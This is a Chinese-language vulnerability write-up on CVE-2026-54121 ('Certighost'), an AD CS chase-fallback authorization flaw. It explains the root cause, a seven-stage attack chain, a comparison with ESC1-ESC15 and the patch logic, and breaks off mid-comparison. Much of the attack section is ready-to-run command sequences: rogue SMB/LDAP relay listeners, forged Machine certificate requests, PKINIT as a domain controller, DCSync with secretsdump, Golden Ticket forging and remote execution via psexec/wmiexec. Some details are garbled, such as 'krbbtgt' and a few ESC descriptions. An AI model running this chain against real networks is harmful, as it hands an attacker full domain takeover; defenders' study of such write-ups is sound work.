目录


1. 漏洞概述

2026 年 7 月补丁星期二中,微软修复了一个影响 Active Directory Certificate Services(AD CS)的高危授权缺陷——CVE-2026-54121,社区代号 Certighost。该漏洞由安全研究员 @h0j3n 和 @aniqfakhrul 发现并披露,技术细节于 2026 年 7 月 24 日公开,PoC 代码同步发布于 GitHub。

Certighost 的核心问题不在密码学、不在模板配置错误、也不在 NTLM relay 的传统套路,而是直击 AD CS enrollment 协议中一个被忽视了十余年的"回退"机制——chase 回退(chase fallback)。这个机制允许证书请求在 CA 无法直接获取终端实体信息时,由请求方"指路":告诉 CA 去哪台机器上查询该实体的身份。问题在于,CA 从不验证这条"指路"是否指向真正的域控制器。

最终结果是:一个只拥有最低域用户权限(甚至连机器账户都不需要预置)的攻击者,可以诱导 Enterprise CA 为任意域控制器签发身份证书,进而通过 PKINIT 认证为该 DC,执行 DCSync 抽取 krbtgt,铸造 Golden Ticket,完成全域接管。整条链路不需要域管凭据、不需要域控的本地访问、不需要提权,唯一的前提是网络上存在一台配置了默认 Machine 模板的 Enterprise CA。

漏洞核心属性表:

属性
CVE 编号 CVE-2026-54121
社区代号 Certighost
CVSS 评分 8.8(High)
漏洞类型 Improper Authorization(CWE-285)
影响组件 Active Directory Certificate Services(AD CS)
关键二进制 certpdef.dll(Policy Module)
攻击向量 网络 / 域内横向
所需权限 任意低权限域账户
前置条件 Enterprise CA + 默认 Machine 模板 + 网络可达 CA
影响 冒充任意域控制器、DCSync、Golden Ticket、全域接管
发现者 @h0j3n、@aniqfakhrul
披露日期 2026-07-24
微软补丁 2026-07-14(7 月补丁星期二)
PoC https://github.com/aniqfakhrul/CVE-2026-54121

为什么这个漏洞值得高度关注? 传统 ADCS 攻击谱系(ESC1 至 ESC15)几乎都围绕"模板配置错误"展开——SAN 滥用、低权限 ENROLLEE、EDITF_ATTRIBUTESUBJECTALTNAME2 标志位等。防御方据此形成了思维定式:"只要审计模板 ACL、关闭 SAN 标志、收紧 ENROLLEE 权限,AD CS 就是安全的。"Certighost 击碎了这个假设。即便所有模板配置完全合规、即便 Machine 模板以默认最严格姿态部署,只要 Enterprise CA 的 chase 回退路径未经验证,攻击者依然能借道 CA 把任意 DC 的身份"签"出来。这是一种协议设计层面的授权缺陷,而非配置错误,因此无法通过模板审计发现,也无法通过常规的 ADCS 安全基线消除。


2. 背景知识:AD CS 与 enrollment chase 回退机制

2.1 AD CS 与 Machine 模板

Active Directory Certificate Services 是微软在 Windows Server 上提供的 PKI 实现,承担企业内证书签发、撤销、CRL 发布等职责。在企业域环境中,AD CS 最常见的用途之一是为域内机器颁发身份证书——用于 802.1X、S/MIME、Kerberos PKINIT、设备认证等场景。

机器证书的签发依赖一个名为 Machine 的内置证书模板。该模板具备以下默认特征:

  • Subject Name SourceDNS name,即从 AD 中读取计算机对象的 dNSHostName 属性
  • Subject Alt Name (SAN):无显式 SAN,主体名称即为 DNS 名
  • Enrollment 权限:默认授予 Domain Computers
  • Authorized Signature Count:0(不要求签名计数)
  • Certificate Name Flag:默认不包含 ENROLLEE_SUPPLIES_SUBJECT,即申请方不能自行指定 SAN

从模板配置角度看,Machine 模板是"干净"的:申请方不能任意填写 SAN,主体名称由 CA 从 AD 拉取。这也是为什么传统 ESC1 类漏洞对默认 Machine 模板无效——它根本不允许申请方控制证书主体。

2.2 enrollment 流程与终端实体解析

当一台域加入的机器向 Enterprise CA 申请 Machine 模板证书时,标准 enrollment 流程如下:

  1. 客户端通过 DCOM/RPC 连接 CA,提交 CertEnroll 请求(ICertRequestD::Request
  2. CA 收到请求后,需要确定证书主体——即终端实体(end-entity)的身份信息
  3. CA 通过查询本地 Active Directory 来解析请求方对应的计算机对象,读取其 dNSHostNameobjectSiduserAccountControl 等属性
  4. CA 用解析到的信息填充证书 SubjectSubjectAltName
  5. CA 校验申请方对该模板的 enrollment 权限,签发证书

整个解析过程依赖一个隐含前提:CA 所在的域控制器就是权威身份源。Enterprise CA 通常与域控分离部署,CA 通过 LDAP 查询域控获取对象信息。正常情况下,这台被查询的域控就是 CA 所在域的真正 DC。

2.3 chase 回退:被忽视的"指路"机制

然而,AD CS 的 enrollment 协议在工程实现上预留了一条回退路径——chase 回退。当 CA 由于网络问题、权限不足或对象缺失等原因无法通过常规 LDAP 查询获取终端实体信息时,协议允许请求方在请求中提供两个回退属性,告诉 CA "去哪里查":

  • cdc(Client DC):指向一台 AD 服务器(域控制器),CA 应该向这台机器发起 LDAP 查询
  • rmd(Request Machine Domain):指向目标机器对象本身,CA 据此定位要查询的计算机账户

这两个属性嵌入在 ICertRequestD::Request 调用的请求字符串(request attributes)中,典型形式如下:

[RequestAttributes]
cdc=DC01.contoso.com
rmd=WKSTN01$

设计本意是好的:在跨域、跨站点、网络隔离等复杂场景下,CA 可能无法直接定位到正确的 DC 或目标机器对象,于是把"指路权"交给更知情的请求方。问题在于,CA 信任了请求方提供的 cdc 指针,却从未验证 cdc 指向的机器究竟是不是真正的域控制器

这就是 Certighost 的命门。


3. 漏洞根因:未经验证的 chase 目标

3.1 设计假设的崩塌

chase 回退机制的设计基于一个核心假设:请求方是诚实的。换言之,设计者认为只有合法的域加入机器、合法的 enrollment 客户端才会发起带 cdc/rmd 属性的请求,它们提供的 cdc 必然指向真实 DC。

这个假设在以下三个层面崩塌:

  1. 任何域用户都能发起 enrollment 请求:低权限域账户通过 ms-DS-MachineAccountQuota(默认 10)即可创建机器账户,进而以"机器身份"发起 enrollment
  2. cdc 可以指向任意主机:协议层面没有任何机制约束 cdc 必须解析到真实 DC,攻击者完全可以把它指向自己控制的主机
  3. CA 不验证 cdc 目标的 DC 身份:CA 拿到 cdc 后,会直接对它发起 SMB(445)和 LDAP(389)连接以"获取"终端实体信息,但完全不校验这台主机是否真是域控、是否持有 SERVER_TRUST_ACCOUNT(userAccountControl 8192)标志

3.2 攻击者控制的服务器扮演了什么角色

当攻击者把 cdc 指向自己控制的主机后,CA 会主动出站连接这台主机。攻击者在这台主机上需要运行两个"伪造"服务:

  • SMB 服务(445):伪装成正常 DC 的 SMB 端点,回应 CA 的 SMB 协商
  • LDAP 服务(389):伪装成 AD 目录服务,回应对计算机对象的 LDAP 查询

但关键点在于:CA 在建立这两条连接后,并不会从 LDAP 上直接"读"出目标 DC 的身份属性就完事。CA 还需要做一次身份校验——确认发起 enrollment 的请求方确实是它声称的那台机器。这次校验通过 Netlogon 协议完成。

于是攻击者需要做一件更巧妙的事:把 CA 发起的认证 challenge 转发(relay)到真正的域控上

3.3 认证 challenge 的 relay 链

具体来说,当 CA 通过 SMB 连接攻击者的伪造服务器时,CA 会发起一次 NTLM 或 Kerberos 认证(取决于协商结果)。攻击者的伪造 SMB 服务器不响应这次认证,而是把 challenge relay 到真实 DC 的 Netlogon 服务(端口 445/139 上的 NetrServerAuthenticate3 调用)

注意:这里 relay 的目标不是任意 DC,而是攻击者想要冒充的那台目标 DC。真实 DC 在收到这次 Netlogon 调用后,会基于自身的计算机账户凭据完成认证协商,并返回自身的身份信息:

  • 该 DC 的 objectSid
  • 该 DC 的 dNSHostName
  • 该 DC 的其他计算机账户属性

攻击者拿到这些信息后,把它们喂给自己控制的 LDAP 伪造服务。当 CA 接着发起 LDAP 查询"这台机器是谁"时,伪造 LDAP 服务返回目标 DC 的 objectSiddNSHostName

与此同时,攻击者用自己创建的机器账户(持有合法凭据)作为 enrollment 的实际发起方,提供合法的域身份校验通过。CA 看到的是:"请求方提供了合法凭据 + cdc 指向一台返回了 DC01 身份信息的服务器"——于是 CA 签发了一张主体为 DC01 的证书。

3.4 为什么 CA 不察觉

CA 之所以察觉不到异常,根因在于以下设计缺陷的叠加:

设计点 缺陷表现
cdc 属性信任 不校验 cdc 指向的主机是否为真实 DC
LDAP 来源信任 不校验 LDAP 响应是否来自真实 DC
身份与请求方解耦 enrollment 请求方身份校验与证书主体身份解析是两条独立路径,前者通过、后者伪造,CA 不交叉验证
objectSid 不绑定 证书签发时不强制要求 objectSid 与请求方 objectSid 严格相等
userAccountControl 不校验 不要求被签发的计算机对象必须包含 SERVER_TRUST_ACCOUNT(8192)标志才能签发 DC 类证书

只要这五个缺口同时存在,攻击者就能让 CA 为一台它根本不该为其签发 DC 身份证书的机器签发证书。这正是 certpdef.dll 在补丁前所呈现的状态。


4. 完整攻击链七阶段详解

Certighost 的完整利用链由七个阶段构成,从最卑微的域用户凭据出发,最终抵达全域接管。

阶段 1:创建/复用机器账户

攻击者仅需一个普通域用户账户(如 contoso\lowpriv)。利用 AD 默认赋予每个域用户的 ms-DS-MachineAccountQuota(默认值 10),攻击者可以创建最多 10 个机器账户而无需任何特权。

# 使用 Impacket 的 addcomputer 创建机器账户
addcomputer.py -computer-name 'ROGUE$' -computer-pass 'P@ssw0rd!' \
  -dc-ip 10.0.0.10 contoso.com/lowpriv:Password123

# 或使用 Certipy(更推荐,原生支持后续链路)
certipy account create -u 'lowpriv@contoso.com' -p 'Password123' \
  -dc-ip 10.0.0.10 -user 'ROGUE$'

成功后,攻击者拥有了一个名为 ROGUE$ 的机器账户,以及对应的凭据 ROGUE$:P@ssw0rd!。这个账户将用于:

  • 作为 enrollment 的合法请求方
  • 提供通过 CA 身份校验所需的合法域身份

阶段 2:启动 SMB 与 LDAP 监听器

攻击者在受控主机(可以是域内任意可达机器,甚至是域外主机,只要 CA 能路由到它)上启动两个伪造服务:

# 伪造 SMB 服务,监听 445
# 该服务不响应认证,而是将 challenge relay 到真实 DC
python3 rogue_smb.py --listen 0.0.0.0:445 \
  --relay-target 10.0.0.10 \
  --victim-dc DC01.contoso.com

# 伪造 LDAP 服务,监听 389
# 该服务等待 SMB relay 完成后,向 CA 返回目标 DC 的身份属性
python3 rogue_ldap.py --listen 0.0.0.0:389 \
  --spoof-object "DC01$" \
  --spoof-dnshostname "DC01.contoso.com"

实际 PoC 中,这两个服务由单一 Python 进程统一编排(详见 aniqfakhrul 的 GitHub 仓库),但逻辑上可以拆为这两步。伪造 LDAP 服务的关键是返回的内容必须包含真实 DC 的:

  • objectSid:DC01 计算机账户的 SID
  • dNSHostNameDC01.contoso.com
  • sAMAccountNameDC01$

这些信息来自阶段 3 的 relay。

阶段 3:CA challenge relay 到真实 DC 的 Netlogon

当攻击者向 CA 提交 enrollment 请求(带 cdc=attacker.hostrmd=DC01$)后,CA 会主动连接攻击者的伪造服务器。CA 通过 SMB 连接时发起 NTLM 认证 challenge。

攻击者的伪造 SMB 服务器将这个 challenge relay 到真实 DC01 的 Netlogon 通道。Netlogon 协议中的 NetrServerAuthenticate3 调用会触发 DC01 用自身的计算机账户凭据完成认证响应。

relay 完成后,攻击者从 Netlogon 响应中提取出 DC01 的:

  • objectSid(DC01 计算机账户的 SID)
  • dNSHostName
  • 部分 Netlogon 协商返回的账户属性

这些数据被回填到伪造 LDAP 服务的响应中,等待 CA 的下一次查询。

阶段 4:提交 cdc 与 rmd 属性触发 enrollment

攻击者使用阶段 1 创建的机器账户凭据,向 Enterprise CA 提交带 chase 属性的 enrollment 请求:

# 使用 Certipy 触发漏洞链(PoC 集成)
certipy req -u 'ROGUE$@contoso.com' -p 'P@ssw0rd!' \
  -ca 'CORP-CA01-CA' -template 'Machine' \
  -dc-ip 10.0.0.10 \
  --cdc attacker.host.contoso.com \
  --rmd 'DC01$'

--cdc--rmd 是 Certipy PoC 分支新增的参数,对应底层 ICertRequestD::Request 调用中的 [RequestAttributes] 段。

CA 收到请求后的行为:

  1. 校验 ROGUE$ 凭据 → 通过(合法机器账户)
  2. 校验 ROGUE$Machine 模板的 enrollment 权限 → 通过(默认 Domain Computers 组)
  3. 解析终端实体身份 → 触发 chase 回退
  4. 读取 cdc=attacker.host.contoso.com → 向 attacker.host 发起 SMB+LDAP 连接
  5. SMB challenge → 被 relay 到真实 DC01 → 拿到 DC01 的 objectSid/dNSHostName
  6. LDAP 查询 → 伪造服务返回 DC01 的身份属性
  7. 签发证书,主体为 DC01.contoso.com,SAN/Subject 包含 DC01 的 dNSHostName

阶段 5:获得 PFX 与 Kerberos 凭据缓存

CA 签发完成后,攻击者通过 enrollment 响应拿到证书。Certipy 会自动把证书导出为 PFX 文件,并写入 Kerberos 凭据缓存(ccache):

[*] Request ID: 0x1A3
[*] Successfully received certificate
[*] Certificate saved to: DC01.pfx
[*] Got Kerberos credentials cache: DC01.ccache

PFX 文件中包含一张由 Enterprise CA 签发的、主体为 DC01.contoso.com 的机器证书。这张证书在 PKI 层面完全合法——签名链有效、模板正确、CA 授权充分。唯一的问题是它的主体本不该是 DC01

阶段 6:PKINIT 认证为目标 DC

PKINIT 是 Kerberos 协议的公钥扩展(RFC 4556),允许使用证书而非密码获取 TGT。Windows 域内 DC 默认支持 PKINIT,机器证书可作为计算机账户的身份凭据。

攻击者用拿到的 PFX 向 KDC(即某台真实 DC)发起 PKINIT AS-REQ,请求一张以 DC01$ 身份发起的 TGT:

# 使用 Certipy 的 auth 子命令通过 PKINIT 获取 TGT
certipy auth -pfx DC01.pfx -dc-ip 10.0.0.10 \
  -username 'DC01$' -domain contoso.com

成功后,攻击者手中持有一张 以 DC01 计算机账户身份签发的 TGT。在 Kerberos 授权模型中,DC01 计算机账户在域内享有特权——它是域控,可以发起 DRSUAPI 复制调用。

阶段 7:DCSync 抽取 krbtgt → Golden Ticket → 全域接管

DCSync 是域内一项经典攻击技术,通过模拟域控的目录复制行为(DRSGetNCChanges RPC 调用)从其他 DC 拉取任意账户的哈希,包括 krbtgt。该调用要求调用方具备 Replicating Directory Changes / Replicating Directory Changes All 权限——通常只有 DC 计算机账户和域管拥有。

攻击者手中持有 DC01 的 TGT,于是直接执行 DCSync:

# 使用 Impacket 的 secretsdump 执行 DCSync
KRB5CCNAME=DC01.ccache secretsdump.py -k -no-pass \
  -dc-ip 10.0.0.10 contoso.com/DC01\$@DC01.contoso.com

# 或使用 Certipy 的 sync 子命令
certipy sync -k -no-pass -dc-ip 10.0.0.10 \
  -ccache DC01.ccache -domain contoso.com

输出中将包含 krbtgt 账户的 NTLM 哈希与 AES 密钥:

krbtgt:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:aes256-cts-hmac-sha1-96:7e5c1...(截断)

拿到 krbtgt 后,攻击者可以铸造 Golden Ticket——一张以任意用户身份(包括域管 Administrator)签发、用 krbtgt 哈希加密的 TGT。该 TGT 在 krbtgt 密钥未轮换前永久有效:

# 使用 ticketer 铸造 Golden Ticket
ticketer.py -domain contoso.com -domain-sid S-1-5-21-... \
  -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \
  -spn krbtgt contoso.com/administrator

# 注入并访问域内任意资源
export KRB5CCNAME=administrator.ccache
smbexec.py -k -no-pass contoso.com/administrator@DC01.contoso.com

至此,攻击者从一个最低权限域用户出发,仅借助一台配置默认 Machine 模板的 Enterprise CA,完成了全域接管。整条链路不需要域管凭据、不需要域控本地访问、不需要提权操作、不需要利用任何配置错误。


5. ASCII 攻击时序图与架构图

5.1 整体架构图

+-------------------+        +-------------------+        +-------------------+
|   攻击者主机      |        |  Enterprise CA    |        |  目标域控 DC01    |
|  (低权限域用户)   |        |  (certpdef.dll)   |        | (Netlogon/DRSUAPI)|
+-------------------+        +-------------------+        +-------------------+
|                   |        |                   |        |                   |
| 1.创建 ROGUE$     |        |                   |        |                   |
|   机器账户        |        |                   |        |                   |
|                   |        |                   |        |                   |
| 2.启动 rogue SMB  |        |                   |        |                   |
|   (445) + rogue   |        |                   |        |                   |
|   LDAP (389)      |        |                   |        |                   |
|                   |        |                   |        |                   |
| 4.提交 enrollment |        |                   |        |                   |
|   请求带 cdc/rmd  | -----> | 收到请求          |        |                   |
|                   |        | 校验 ROGUE$ 凭据  |        |                   |
|                   |        | 校验模板权限      |        |                   |
|                   |        | 触发 chase 回退   |        |                   |
|                   |        |                   |        |                   |
|                   | <----- | 5.SMB 连接 cdc    |        |                   |
|                   |        |   (NTLM challenge)|        |                   |
|                   |        |                   |        |                   |
| 3.relay challenge |        |                   |        |                   |
|   到 DC01 Netlogon| ----------------------------------> | NetrServerAuth3   |
|                   |        |                   | <---  | 返回 DC01 的       |
|                   |        |                   |        | objectSid/        |
|                   |        |                   |        | dNSHostName       |
|                   |        |                   |        |                   |
|                   | <----- | 6.LDAP 查询       |        |                   |
|                   |        |   (查询 DC01$)    |        |                   |
|                   |        |                   |        |                   |
| 返回 DC01 身份    | -----> |                   |        |                   |
|  (objectSid/      |        | 7.签发证书        |        |                   |
|   dNSHostName)    |        |   主体=DC01       |        |                   |
|                   |        |                   |        |                   |
| 8.接收 PFX/ccache | <----- |                   |        |                   |
|                   |        |                   |        |                   |
| 9.PKINIT 认证为   |        |                   |        |                   |
|   DC01$ 获取 TGT  | ---------------------------------> | KDC 验证证书      |
|                   | <--------------------------------- | 返回 DC01$ TGT    |
|                   |        |                   |        |                   |
| 10.DRSGetNCChanges|        |                   |        |                   |
|   (DCSync)        | ---------------------------------> | 返回 krbbtgt 哈希 |
|                   | <--------------------------------- | krbtgt:31d6...    |
|                   |        |                   |        |                   |
| 11.铸造 Golden    |        |                   |        |                   |
|    Ticket         |        |                   |        |                   |
|    全域接管       |        |                   |        |                   |
+-------------------+        +-------------------+        +-------------------+

5.2 攻击时序图

攻击者            Rogue SMB(445)   Rogue LDAP(389)   Enterprise CA      真实 DC01
  |                     |                 |                 |                 |
  |--- 创建 ROGUE$ ---->|                 |                 |                 |
  |     (机器账户)      |                 |                 |                 |
  |                     |                 |                 |                 |
  |--- 启动监听 -------->|                 |                 |                 |
  |                     |<-- listen 445 --|                 |                 |
  |                     |                 |<-- listen 389 --|                 |
  |                     |                 |                 |                 |
  |--- 提交 enrollment  |                 |                 |                 |
  |     cdc=attacker    |                 |                 |                 |
  |     rmd=DC01$       |                 |                 |                 |
  |-----------------------------------------------------> |                 |
  |                     |                 |                 |                 |
  |                     |                 |                 |-- 校验 ROGUE$   |
  |                     |                 |                 |-- 校验 Machine  |
  |                     |                 |                 |   模板权限      |
  |                     |                 |                 |-- 触发 chase    |
  |                     |                 |                 |   回退          |
  |                     |                 |                 |                 |
  |                     |                 |                 |-- SMB 连接 ---->|
  |                     |                 |                 |   cdc 指向      |
  |                     |<-- NTLM         |                 |   attacker.host |
  |                     |    challenge    |                 |                 |
  |                     |                 |                 |                 |
  |                     |-- relay         |                 |                 |
  |                     |   challenge     |                 |                 |
  |                     |   到 DC01       |                 |                 |
  |                     |------------------------------------------------- >|
  |                     |                 |                 |  NetrServer     |
  |                     |                 |                 |  Authenticate3  |
  |                     |<------------------------------------------------- |
  |                     |                 |                 |  返回 DC01 的   |
  |                     |                 |                 |  objectSid/     |
  |                     |                 |                 |  dNSHostName    |
  |                     |                 |                 |                 |
  |                     |                 |                 |-- LDAP 查询 ---->|
  |                     |                 |                 |   DC01$         |
  |                     |                 |<-- 查询请求 ----|                 |
  |                     |                 |                 |                 |
  |                     |                 |-- 返回 DC01     |                 |
  |                     |                 |   身份属性 ---->|                 |
  |                     |                 |                 |                 |
  |                     |                 |                 |-- 签发证书      |
  |                     |                 |                 |   主体=DC01     |
  |<-------------------------------------------------------|                 |
  |  返回 PFX + ccache   |                 |                 |                 |
  |                     |                 |                 |                 |
  |--- PKINIT AS-REQ ---|                 |                 |                 |
  |     (用 PFX)        |                 |                 |                 |
  |---------------------------------------------------------------------> |
  |<--------------------------------------------------------------------- |
  |  返回 DC01$ 的 TGT   |                 |                 |                 |
  |                     |                 |                 |                 |
  |--- DRSGetNCChanges -|                 |                 |                 |
  |     (DCSync)        |                 |                 |                 |
  |---------------------------------------------------------------------> |
  |<--------------------------------------------------------------------- |
  |  返回 krbtgt 哈希    |                 |                 |                 |
  |                     |                 |                 |                 |
  |=== 全域接管完成 ===  |                 |                 |                 |
  |     Golden Ticket   |                 |                 |                 |
  |                     |                 |                 |                 |

6. 工具实操:Certipy 与 DCSync

6.1 Certipy:ADCS 攻击瑞士军刀

Certipy 是目前最主流的 ADCS 攻击与审计工具,由 @ly4k 维护,Python 实现。CVE-2026-54121 的 PoC 也以 Certipy 扩展参数的形式发布。

安装:

pip install certipy-adc
# 或从源码安装 PoC 分支
git clone https://github.com/aniqfakhrul/CVE-2026-54121
cd CVE-2026-54121
pip install -e .

关键子命令:

子命令 用途 在 Certighost 链路中的角色
account create 创建机器账户 阶段 1
req 提交证书申请 阶段 4(带 --cdc/--rmd
auth 用 PFX 通过 PKINIT 获取 TGT 阶段 6
sync 执行 DCSync 阶段 7
find 枚举 ADCS 配置 攻击前侦察

侦察阶段(寻找可用的 Enterprise CA 与 Machine 模板):

certipy find -u 'lowpriv@contoso.com' -p 'Password123' \
  -dc-ip 10.0.0.10 -stdout

输出中需确认:

  • 存在至少一台 Enterprise CA(CA Name 字段)
  • Machine 模板启用且 Enabled 为 True
  • Machine 模板的 PermissionsDomain Computers 拥有 Enrollment 权限

阶段 4 完整调用(PoC 核心):

certipy req -u 'ROGUE$@contoso.com' -p 'P@ssw0rd!' \
  -ca 'CORP-CA01-CA' -template 'Machine' \
  -dc-ip 10.0.0.10 \
  --cdc attacker.host.contoso.com \
  --rmd 'DC01$' \
  --rogue-smb 0.0.0.0:445 \
  --rogue-ldap 0.0.0.0:389 \
  --relay-target DC01.contoso.com

PoC 分支会自动启动 rogue SMB 与 LDAP 监听器、提交 enrollment 请求、relay challenge、接收 PFX。一条命令完成阶段 1-5。

6.2 DCSync:从 TGT 到 krbtgt

DCSync 的底层是 MS-DRSR(Directory Replication Service Remote)协议中的 IDL_DRSGetNCChanges 调用。当一台 DC 向另一台 DC 请求目录复制时,调用方需要持有以下权限之一:

  • Replicating Directory Changes
  • Replicating Directory Changes All
  • Replicating Directory Changes In Filtered Set

DC 计算机账户默认拥有这些权限。攻击者持有 DC01 的 TGT 后,KDC 在签发 service ticket 时会附带 PAC,PAC 中包含 DC01 的组成员关系与权限信息。DRSUAPI 服务在校验调用方时读取 PAC,确认其具备复制权限,于是放行。

Impacket secretsdump 执行 DCSync:

# 使用 ccache(PKINIT 获取的 TGT)
export KRB5CCNAME=DC01.ccache
secretsdump.py -k -no-pass -dc-ip 10.0.0.10 \
  'contoso.com/DC01$@DC01.contoso.com'

# 仅抽取 krbtgt
secretsdump.py -k -no-pass -dc-ip 10.0.0.10 \
  -just-dc-user krbtgt \
  'contoso.com/DC01$@DC01.contoso.com'

典型输出:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:7e5c1e3b8f9a2c4d...
krbtgt:aes128-cts-hmac-sha1-96:1f2a3b4c5d6e7f80...
[*] Cleaning up...

6.3 Golden Ticket 铸造与使用

拿到 krbtgt 哈希后,可铸造任意身份的 TGT:

# Impacket ticketer 铸造 Golden Ticket
ticketer.py -domain contoso.com \
  -domain-sid S-1-5-21-1234567890-123456789-123456789 \
  -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \
  -user-id 500 -user-name administrator \
  -groups 519 512 518 520 \
  -duration 3650 \
  administrator

# 使用 Golden Ticket 访问域控
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass contoso.com/administrator@DC01.contoso.com
psexec.py -k -no-pass contoso.com/administrator@DC01.contoso.com

Golden Ticket 默认有效期 10 年(-duration 3650),只要 krbtgt 密钥未轮换,该 TGT 永久有效,且可在域内任意服务上通过认证。


7. 与传统 ADCS 攻击 ESC1-ESC15 对比

ADCS 攻击谱系由 SpecterOps 在 2022 年的 Black Hat 演讲"Certified Pre-Owned"中系统化提出,按发现顺序编号 ESC1-ESC15。Certighost 在多个维度上与这些传统攻击有本质差异。

7.1 攻击谱系速览

ESC 编号 漏洞本质 核心缺陷位置
ESC1 模板允许 ENROLLEE_SUPPLIES_SUBJECT + 低权限可申请 模板配置
ESC2 模板允许 Any Purpose / SubCA 用途 + 低权限可申请 模板配置
ESC3 模板证书可作 EKU=Certificate Request Agent,间接申请 模板链
ESC4 模板 ACL 允许低权限修改模板自身 模板 ACL
ESC5 PKI 容器 ACL 弱,可修改 CA 配置 AD 容器 ACL
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 全局标志 + SAN 注入 CA 标志位
ESC7 CA ACL 允许低权限 Manage CA / Manage Certificates CA ACL
ESC8 NTLM relay 到 HTTP/HTTPS enrollment 端点 协议 relay
ESC9 SubjectAltName + ESCB 链组合 主体解析
ESC10 弱 SubjectAltName 校验(仅 dNSHostName) 主体解析
ESC11 NTLM relay 到 RPC/DCOM enrollment(增强签名绕过) 协议 relay
ESC12 证书模板引用外部 UPN/SPN 注入 模板引用
ESC13 模板绑定的组策略 EKU 导致权限放大 模板 EKU
ESC14 NTLM relay + 弱域名匹配 主体解析
ESC15 模板 v3/v4 EKU 解析差异 模板版本

7.2 Certighost 与 ESC1-ESC15 的关键差异

对比维度 ESC1-ESC15(传统) Certighost(CVE-2026-54121)
缺陷类别 模板配置错误 / ACL 弱 / relay 滥用 协议设计层授权缺陷
触发位置 模板属性、CA 标志、CA ACL、enrollment 端点 chase 回退路径
是否需要配置错误 是(某项配置偏离安全基线) 否(默认配置即可触发)
Machine 默认模板是否受影响 否(ESC1 要求 SAN,Machine 不允许)
是否需要 relay 中间人 ESC8/ESC11 需要,其他不需要 需要(relay 到 DC Netlogon)
relay 目标 enrollment 端点(HTTP/RPC) DC Netlogon(提取 DC 身份)
可签发主体范围 取决于模板 SAN 配置 任意域控制器
最终危害 通常冒充单台高权限账户 直接冒充 DC,DCSync 全域
检测难度 中(模板审计可发现) 高(默认配置,审计不可见)
修复方式 修改模板配置 / CA 标志 / ACL 微软补丁 + 临时禁用 chase 标志
是否需要域管修复 否(模板管理员即可) 否(但需打补丁或重启 CertSvc)
攻防成熟度 高(工具链完整、防御基线成熟) 新(防御基线缺失)

7.3 关键洞察

从上表可以提炼出三个关键洞察:

第一,Certighost 是协议级缺陷,而非配置级缺陷。 ESC1-ESC15 中没有任何一个能在"完全合规的默认配置"下触发。ESC1 要求管理员主动开启 ENROLLEE_SUPPLIES_SUBJECT;ESC6 要求管理员主动设置 EDITF_ATTRIBUTESUBJECTALTNAME2。这些缺陷的"可触发"前提本身就是"配置错误"。而 Certighost 不需要任何配置错误——默认 Machine 模板、默认 Enterprise CA 部署、默认 chase 回退行为,三者叠加即可被利用。

第二,Certighost 直接以 DC 为目标,跳过了传统 ADCS 攻击的"中间层"。 传统 ADCS 攻击即便成功,签出的证书主体通常是某个高权限用户(如域管),攻击者拿到该用户证书后还需进一步横向移动才能抵达 DCSync。Certighost 让 CA 直接为 DC01 签发证书,攻击者一步到位获得 DC 身份,DCSync 触手可及。

第三,传统 ADCS 安全基线对 Certighost 完全无效。 当前业界主流的 ADCS 安全基线(如微软 PKI 部署指南、SpecterOps 的 ADCS 审计清单)核心建议是:审计模板 ACL、关闭 SAN 标志、限制 ENROLTEE 权限、关闭 HTTP enrollment 端点。这些建议对 ESC1-ESC15 有效,但对 Certighost 完全无效——因为 Certighost 根本不依赖这些配置项。这是 Certighost 最危险的属性:它绕过了防御方已经建立的全部 ADCS 防御认知。


8. 修复补丁深度分析

8.1 补丁位置

微软在 2026 年 7 月补丁中为 certpdef.dll(Certificate Server Policy Module)添加了一个全新的校验函数:CRequestInstance::_ValidateChaseTargetIsDC。该函数在 chase 回退路径执行 LDAP 查询之前被调用,对 cdc 指向的目标进行严格校验。

8.2 校验内容

_ValidateChaseTargetIsDC 实施了五层校验:

校验层 内容 防御目标
1. 拒绝 IP 字面量 cdc 不能是 IPv4/IPv6 地址,必须是 DNS 名称 阻止攻击者用临时 IP 指向 rogue 服务器
2. 拒绝过长名称 cdc 长度不得超过 DNS 名称合理上限(255 字节) 防止缓冲区相关的边缘利用
3. 拒绝 LDAP 元字符 cdc 不得包含 *()\/、NUL 等 防止 LDAP 注入与路径穿越
4. 精确匹配一个 AD 计算机对象 cdc 解析到的 DNS 名称必须对应唯一的 AD 计算机对象,且该对象的 dNSHostName 必须精确匹配(非子串匹配) 防止对象模糊解析
5. userAccountControl 含 SERVER_TRUST_ACCOUNT 匹配到的计算机对象的 userAccountControl 必须包含 SERVER_TRUST_ACCOUNT(0x2000 = 8192)标志 核心校验:确保 cdc 指向的确实是域控制器

SERVER_TRUST_ACCOUNT(8192)是 Windows 域中专门标记域控计算机账户的标志位。普通机器账户的 userAccountControl 通常为 4096WORKSTATION_TRUST_ACCOUNT),只有 DC 才会包含 8192。补丁强制要求 cdc 目标必须具备该标志,从根本上杜绝了"任意主机冒充 DC"的可能。

8.3 SID 比较阻止对象替换

除了 _ValidateChaseTargetIsDC,补丁还在证书签发的最终阶段增加了 SID 一致性校验

  • 记录 chase 路径返回的计算机对象 objectSid(来自 LDAP 查询)
  • 记录 enrollment 请求方实际持有的 objectSid(来自认证上下文)
  • 签发前校验两者是否相等,或请求方是否对目标对象具备合法授权

这一层校验防止了攻击者用 ROGUE$ 的合法凭据通过认证、却让 LDAP 伪造服务返回 DC01 的 objectSid 的"对象替换"攻击。即便攻击者绕过了前面的 chase 目标校验(例如通过某种 LDAP 投毒让真实 DC 返回错误对象),最终签名时也会因 SID 不一致被拒绝。

8.4 补丁前后行为对比

=== 补丁前 ===
CA 收到 enrollment 请求
  |- 校验请求方凭据 (ROGUE$) -> OK
  |- 校验模板权限 -> OK
  |- 解析终端实体
       |- 触发 chase 回退
       |- 读取 cdc=attacker.host
       |- 连接 attacker.host SMB+LDAP  [无任何校验]
       |- 拿到 objectSid/dNSHostName
  |- 签发证书 (主体=DC01)            [无 SID 一致性校验]
  |- 返回 PFX

=== 补丁后 ===
CA 收到 enrollment 请求
